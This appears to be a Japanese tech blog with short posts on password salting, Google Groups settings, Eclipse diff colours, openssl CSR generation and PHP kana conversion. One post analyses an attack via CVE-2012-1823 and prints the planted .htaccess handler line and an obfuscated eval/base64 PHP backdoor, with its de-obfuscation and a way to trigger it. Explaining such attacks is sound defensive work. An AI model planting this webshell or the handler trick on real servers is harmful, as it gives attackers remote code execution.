パスワードのハッシュ生成時のsaltの意味

saltなしだと…

  1. 辞書攻撃(レインボーテーブル)が容易
  2. 同じパスワードだとわかる
    1. 同じシステムの異なるユーザー間で
    2. 異なるシステムのユーザー間で
  3. パスワードを変更したかどうかがわかる

みんなに同じsaltを使う

1はある程度は防げる。
ただし、十分に速いコンピュータを使えば、辞書攻撃はかなり容易。

ユーザー毎にsaltを変える(ユーザーIDとかそのハッシュとか)

2.1は防げる。

完全にランダムな値をsaltにする

2.2や3も防げる。

Google Groupsの管理者名の変更

Google Groupsでメンバーを招待・追加するときに管理者の名前とメールアドレスが招待メールの冒頭に追加されるのだけど、それの変更方法がわからなくてずいぶん時間を無駄にしてしまった。
結論から言うと新UIではできなくて旧UIの以下のURLで「共通設定」の「ニックネーム」で設定しなくてはならない。
https://groups.google.com/groups/mysubs

「共通設定」で値を変更すると当然すべてのグループのニックネームが上書きされてしまう。
しかし、上記URLで個別に設定しても招待メール冒頭の名前は変更されなかった。
したがってグループごとの個別設定はできない。不便だが全く変更できないよりはまし。

Googleグループごとに個別にニックネームを変更できる画面もあるが、もちろんこちらでも招待メール冒頭の名前は変更されなかった。


旧UIが使えなくなったらどうやって変更すればいいのだろうか。

Google GroupsでRFC違反のメールアドレスを登録する

my..name@example.comやi.my.me.mine..@example.comのようにローカルパート*1に.の連続があるものやローカルパートが.で終わっているものはRFC*2違反なのだが、docomoauではそういったメールアドレスが取得できてしまうので、みんな困っている。

Google Groupsでも上記のようなRFC違反のメールアドレスはメンバーとして登録できない。

ただ、厳密なことを言うと、ローカルパートをダブルクオートで括ってquoted-stringにすれば違反ではなくなるし、Google Groupsでも受け付けてくれる。

つまり"my..name"@example.comや"i.my.me.mine.."@example.comのようにすればいいってこと。

あと、Google Groupsでメールアドレスを登録するときにメールアドレスだけではなくてニックネームも指定できる。
メールアドレスだけだと

someone@example.jp, somebody@example.jp, something@example.jp, ...

のようにするところを

"Aさん" <someone@example.jp>, "Bさん" <somebody@example.jp>, "Cさん" <something@example.jp>, ...

とすればよい。ニックネームを指定できるのはこの登録のときだけで、後から追加や変更はできない。

*1:@の前の部分のことをローカルパートと言う。

*2:RFC 2822 "Internet Message Format" RFC 2822(対訳)インターネットメッセージの形式 - RFCの部屋

Eclipse Indigoのテキスト比較の枠がわかりにくい。

1〜2か月前にEclipseHeliosからIndigoにしたのだけど*1、テキスト比較(diff)の枠の色が薄くなってとても認識しづらくなってしまった。
設定にそれっぽいところはないし、設定ファイルを直接編集しても枠の色だけ変える項目はなさそうなので、.metadata/.plugins/org.eclipse.core.runtime/.settings内のcom.aptana.editor.common.prefsの内容をorg.eclipse.compare.prefsにコピーして済ますことにした。
背景色が黒でなんだか落ち着かないのだけど薄い色の枠で疲れるよりまし。

どうも枠の色を背景とテキスト色から計算するときのパーセントが黒背景に最適化されて、白背景で見にくくなっているのではないかと思う。

Heliosでのテキスト比較 (Text Compare)

http://cdn-ak.f.st-hatena.com/images/fotolife/u/uunfo/20120710/20120710162520_original.png
枠がくっきりしていて見やすい。

設定変更前のIndigoでのテキスト比較 (Text Compare)

http://cdn-ak.f.st-hatena.com/images/fotolife/u/uunfo/20120710/20120710162521_original.png
枠線が背景と区別しづらく見ていて疲れる。

設定変更後のIndigoでのテキスト比較 (Text Compare)

http://cdn-ak.f.st-hatena.com/images/fotolife/u/uunfo/20120710/20120710162522_original.png
まし。

*1:すでにIndigoの次のJunoが出ているらしい

CGI版のPHPの脆弱性を突いてトラップを仕掛けた事例

CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記にあるとおりCGIPHPには任意のコードを実行できてしまう脆弱性があるとのこと。

で、実際にこの脆弱性を突かれた事例が見られたそうです。

何をされたのか?

これらの事例で行なわれたのはCVE-2012-1823脆弱性を利用して、2つのファイルを設置のみのようです。

1つ目のファイルは .htaccess で内容は以下の一行のみ。

AddHandler application/x-httpd-php .png

当然.htaccessがすでにある場合は上書きされてしまいます。
「.png」ではなくて「.gif」であることもあるようです。
これにより拡張子がpngのファイルにアクセスがあるとそのファイルがPHPスクリプトとして実行されることになります。

2つ目のファイルは以下のようなPHPスクリプトだけどファイル名は「乱数+画像の拡張子(.htaccessに書かれたもの)」

<?php ($_=$_POST).($_1='_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?>

つまり、2つ目の一見画像に見えるファイルにアクセスするとその中に書かれたPHPスクリプトが実行されると言うことです。

このスクリプトで何ができるの?

このPHPスクリプトはちょっとわかりにくく書かれていますが、要は

$_=$_POST;
$_1='_';
$_4=$$_1;
$_4=$_4[$_1];
$_4($$_1));
eval(base64_decode($_4($$_1)));

ということで、さらに $_1='_', $_=$_POST; から $$_1 → ${$_1} → ${'_'} → $_ → $_POST; なので

$_4=$_POST;
$_4=$_4['_'];
$_4($_POST));
eval(base64_decode($_4($_POST)));

結局

$function = $_POST['_'];
$function($_POST);
eval(base64_decode($function($_POST)));

ということです。

これはつまりどういうことなのか。
$function(...); とあるので $function = $_POST['_'] は関数じゃないといけないですね(なので $function という変数名にしました)。$_POSTに二回実行する関数で二回目の実行で文字列を返すようになる関数は何か。

array_shiftもしくはarray_popでしょうか。
つまり以下のような値をPOSTします。

$_POST = array("_" => "array_shift", "code" => "xxxxxxxxxxxxxxxx");

xxxxxxxxxxxxxxxxはbase64_encodeされたPHPスクリプトです。
すると

array_shift($_POST);
eval(base64_decode(array_shift($_POST)));;

となり、xxxxxxxxxxxxxxxxをデコードして得られるPHPスクリプトが実行されるということです。

任意のPHPスクリプトがPOSTで値を渡すことで実行できるようにされているということですね。

これは実際に

$_POST = array("_" => "array_shift", "code" => base64_encode("phpinfo();"););
($_=$_POST).($_1='_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));

とすれば確かめられます。


よくわからないのは、任意のコードを実行できる脆弱性があるのにわざわざその脆弱性を使って任意のコードを実行できる環境を作っているということです。
CGIPHP脆弱性はそのうち対策がなされるだろうから脆弱性のあるうちにあちこちに任意のコードを実行できる環境を用意しておこうという意図なのでしょうか?

おまけ

大垣さんはこの脆弱性に言及していないのかなと思ったら少しtweetしてました。

Apache + mod_ssl で使うSSL証明書の発行手順

CSR作成時にはSSLを使いたいドメインとそれを管理している組織の情報(名称、所在地)が必要なのであらかじめ用意しておくこと。具体的には

Country Name 国コード
日本ならJP。
State or Province Name
日本なら都道府県。Tokyoなど。
Locality Name
日本なら市区町村。Chiyoda-ku, Osaka cityなど。
Organization Name
会社名など。
Organizational Unit Name
部署名。空欄でかまわない。
Common Name
最重要項目!ドメインを指定する。最近はexample.comを申し込むとSubject Alternative Namesとしてwww.example.comでも有効なSSL証明書にしてくれることもある(逆もあり)。ワイルドカードSSLなら*.example.comとする。

これ以外の項目(メールアドレス、パスワードなど)は空でよい。Locality NameやOrganization Nameなどは認証局で削除したり上書きしたりすることもある。

秘密鍵CSRを同時に生成してしまう

以下のコマンドで一発で秘密鍵認証局SSL証明書発行業者)に渡すCSRを作ることができる。

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout mydomain.key -out mydomain.csr
req
CSR作成コマンド。詳しくはマニュアルを参照。
-nodes
秘密鍵を暗号化しない。暗号化するなら-des3などを指定する。暗号化した場合、Apacheの再起動など秘密鍵を読み込む際に常にパスワードが要求される。
-newkey rsa:2048
CSRで使う秘密鍵の作成を同時に行なう。暗号方式はRSA、鍵長は2048bitを指定。鍵長は4096bitだとより安全だが証明書の有効期間が数年程度なら2048bitで心配ないだろう。。鍵長1024bitだともはや認証局が受け付けてくれないはず。
-sha256
署名アルゴリズムにSHA-2を指定する*1SHA-1 (-sha1)とMD5 (-md5) も指定できるだろうがこれもおそらく認証局が受け付けないだろう。
-keyout mydomain.key
秘密鍵のファイル名を指定する。ここでは「mydomain.key」。
-out mydomain.csr
CSRのファイル名を指定する。ここでは「mydomain.csr」。

秘密鍵CSRの生成を別々に行なう場合

$ openssl genrsa -out mydomain.key 2048
$ openssl req -key mydomain.key -out mydomain.csr

2048bitのRSA秘密鍵をmydomain.keyとして保存し、次にその秘密鍵を指定してmydomain.csrというCSRファイルを作成している。
genrsaコマンドでは-desや-des3を指定しない限り秘密鍵そのものをパスワードで保護することはしない。乱数ファイルを指定したい場合は-randで指定する。

秘密鍵の暗号化解除

暗号化オプション付きで秘密鍵を生成した場合は次のコマンドで暗号化を解除できる

$ openssl rsa -in mydomain.key.org -out mydomain.key

パスワードを聞かれるので入力すればOK。
入力値は表示されず反応がないように見えるけど最後にEnterを押せばちゃんと処理されます。

各ファイルの内容を確認する

# CSR
$ openssl req -text -in ./mydomain.csr
# 公開鍵(証明書)
$ openssl x509 -text -in ./mydomain.pub

秘密鍵はコマンドをrsaにして同様に実行すれば見られますが、
見たところで意味のある情報は出てこないのでセキュリティの面から実行はしない方がいいと思います。

*1:2015年現在、SHA-1はすでに脆弱性が指摘され使用は推奨されておらず、SHA-2の使用が推奨されています。opensslの引数は -sha1 の代わりに -sha256 を指定します。

mb_convert_kanaで変換されない文字

マニュアルによれば「"」「'」「~」「\」は全角に変換されない。
なぜか。

おそらく変換すべき文字が一意に決まらないからだろう。

全角だと“ダブルクオート”も‘シングルクオート’も右と左の両方がある。

~は波ダッシュ全角チルダか決まらない。

\は円記号(¥)なのかバックスラッシュ(\)なのか決まらない。